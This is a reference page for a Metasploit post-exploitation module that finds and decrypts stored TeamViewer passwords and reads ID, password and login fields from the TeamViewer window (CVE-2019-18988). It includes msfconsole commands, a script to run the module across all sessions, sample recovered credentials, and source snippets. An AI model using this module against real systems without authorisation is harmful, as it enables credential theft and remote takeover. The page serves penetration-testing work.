Windows Gather TeamViewer Passwords - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/teamviewer_passwords metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather TeamViewer Passwords
Module: post/windows/gather/credentials/teamviewer_passwords
Source code: modules/post/windows/gather/credentials/teamviewer_passwords.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-18988

This module will find and decrypt stored TeamViewer passwords

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/teamviewer_passwords

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/teamviewer_passwords
msf post(teamviewer_passwords) > show options
    ... show and set options ...
msf post(teamviewer_passwords) > set SESSION session-id
msf post(teamviewer_passwords) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/teamviewer_passwords")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

Any Windows host with a meterpreter session and TeamViewer 7+ installed. The following passwords will be searched for and recovered:

This module allows to enumerate window information to get the control ID and Password of TeamViewer.

  • Options Password -- All module-supported TeamViewer versions (7+)
  • Unattended Password -- TeamViewer versions 7 - 9
  • License Key -- TeamViewer versions 7 - 14

Installation Steps

  1. Download the latest installer of TeamViewer.

  2. Select "Custom Install With Unattended Password" during

    installation

  3. After installation, navigate to

    Extra > Options > Security > Advanced > Show Advanced Settings and set the "Options Password"

    • Options can also be exported to a .reg file from here.

Verification Steps

  1. Get a meterpreter session on a Windows host.
  2. Do: run post/windows/gather/credentials/teamviewer_passwords
  3. If the system has registry keys for TeamViewer passwords they will be printed out.
    1. Print the control ID and password.
    2. If there is a email and password in the login box, the email and password will be printed.

Options

WINDOW_TITLE

Specify a title for getting the window handle, e.g.:TeamViewer',Default is TeamViewer

Scenarios

meterpreter > run post/windows/gather/credentials/teamviewer_passwords 

[*] Finding TeamViewer Passwords on WEQSQUGO-2156
[+] Found Exported Unattended Password: P@$$w0rd
[+] Found Options Password: op*****5
[+] Passwords stored in: /home/blurbdust/.msf4/loot/20200207052401_default_***.***.***.***_host.teamviewer__588749.txt
[*] <---------------- | Using Window Technique | ---------------->
[*] TeamViewer's language setting options are 'zhCN'
[*] TeamViewer's version is '15.3.2682 '
[+] TeamViewer's  title is 'TeamViewer'
[*] Found handle to ID edit box 0x000502a8
[*] Found handle to Password edit box 0x00050248
[+] ID: 1 561 912 659
[+] PASSWORD: AUdbM71f<_
[*] Found handle to Email edit box 0x000501cc
[*] Found handle to Password edit box 0x000501e2
[+] EMAIL: [email protected]
[+] PASSWORD: Mypassword.
meterpreter >

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Msfconsole Usage

Here is how the windows/gather/credentials/teamviewer_passwords post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/teamviewer_passwords

msf6 post(windows/gather/credentials/teamviewer_passwords) > show info

       Name: Windows Gather TeamViewer Passwords
     Module: post/windows/gather/credentials/teamviewer_passwords
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Nic Losby <[email protected]>
  Kali-Team <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  SESSION                        yes       The session to run this module on.
  WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer

Description:
  This module will find and decrypt stored TeamViewer passwords

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-18988
  https://whynotsecurity.com/blog/teamviewer/
  https://www.cnblogs.com/Kali-Team/p/12468066.html

Module Options

This is a complete list of options available in the windows/gather/credentials/teamviewer_passwords post exploitation module:

msf6 post(windows/gather/credentials/teamviewer_passwords) > show options

Module options (post/windows/gather/credentials/teamviewer_passwords):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION                        yes       The session to run this module on.
   WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/teamviewer_passwords post exploitation module:

msf6 post(windows/gather/credentials/teamviewer_passwords) > show advanced

Module advanced options (post/windows/gather/credentials/teamviewer_passwords):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/teamviewer_passwords module can do:

msf6 post(windows/gather/credentials/teamviewer_passwords) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/teamviewer_passwords post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/teamviewer_passwords) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to decrypt the data. Exception: <E>

Here is a relevant code snippet related to the "Unable to decrypt the data. Exception: <E>" error message:

111:	      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
112:	      if plaintext.empty?
113:	        return nil
114:	      end
115:	    rescue OpenSSL::Cipher::CipherError => e
116:	      print_error("Unable to decrypt the data. Exception: #{e}")
117:	    end
118:	
119:	    password
120:	  end
121:

Handle for TeamViewer ID or password edit box not found

Here is a relevant code snippet related to the "Handle for TeamViewer ID or password edit box not found" error message:

151:	    #  get window text
152:	    if hwnd_id_edit_box['return'] && hwnd_pass_edit_box['return']
153:	      print_good("ID: #{get_window_text(hwnd_id_edit_box['return'])}")
154:	      print_good("PASSWORD: #{get_window_text(hwnd_pass_edit_box['return'])}")
155:	    else
156:	      print_error('Handle for TeamViewer ID or password edit box not found')
157:	    end
158:	  end
159:	
160:	  def enum_email_and_password(hwnd_main)
161:	    hwnd_lp = client.railgun.user32.FindWindowExW(hwnd_main, nil, 'LoginPage', nil)

Handle for TeamViewer ID or Password edit box not found

Here is a relevant code snippet related to the "Handle for TeamViewer ID or Password edit box not found" error message:

174:	    email_text = get_window_text(hwnd_email_edit_box['return'])
175:	    pass_text = get_window_text(hwnd_pass_edit_box['return'])
176:	    if email_text
177:	      print_good("EMAIL: #{email_text}")
178:	    else
179:	      print_error('Handle for TeamViewer ID or Password edit box not found')
180:	    end
181:	    if pass_text
182:	      print_good("PASSWORD: #{pass_text}")
183:	    else
184:	      print_error('No password in Password edit box')

No password in Password edit box

Here is a relevant code snippet related to the "No password in Password edit box" error message:

179:	      print_error('Handle for TeamViewer ID or Password edit box not found')
180:	    end
181:	    if pass_text
182:	      print_good("PASSWORD: #{pass_text}")
183:	    else
184:	      print_error('No password in Password edit box')
185:	    end
186:	  end
187:	
188:	  def run
189:	    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")

Unable to find TeamViewer's process

Here is a relevant code snippet related to the "Unable to find TeamViewer's process" error message:

205:	      print_good("TeamViewer's  title is '#{get_window_text(hwnd)}'")
206:	      enum_id_and_password(hwnd)
207:	      enum_email_and_password(hwnd)
208:	    else
209:	      if !session.sys.process.each_process.find { |i| i['name'].downcase == 'TeamViewer.exe'.downcase }
210:	        print_error('Unable to find TeamViewer\'s process')
211:	        return false
212:	      end
213:	      print_error('Unable to find TeamViewer\'s window. Try to set window title')
214:	      return false
215:	    end

Unable to find TeamViewer's window. Try to set window title

Here is a relevant code snippet related to the "Unable to find TeamViewer's window. Try to set window title" error message:

207:	      enum_email_and_password(hwnd)
208:	    else
209:	      if !session.sys.process.each_process.find { |i| i['name'].downcase == 'TeamViewer.exe'.downcase }
210:	        print_error('Unable to find TeamViewer\'s process')
211:	        return false
212:	      end
213:	      print_error('Unable to find TeamViewer\'s window. Try to set window title')
214:	      return false
215:	    end
216:	  end
217:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Nic Losby <blurbdust[at]gmail.com>
  • Kali-Team <kali-team[at]qq.com>

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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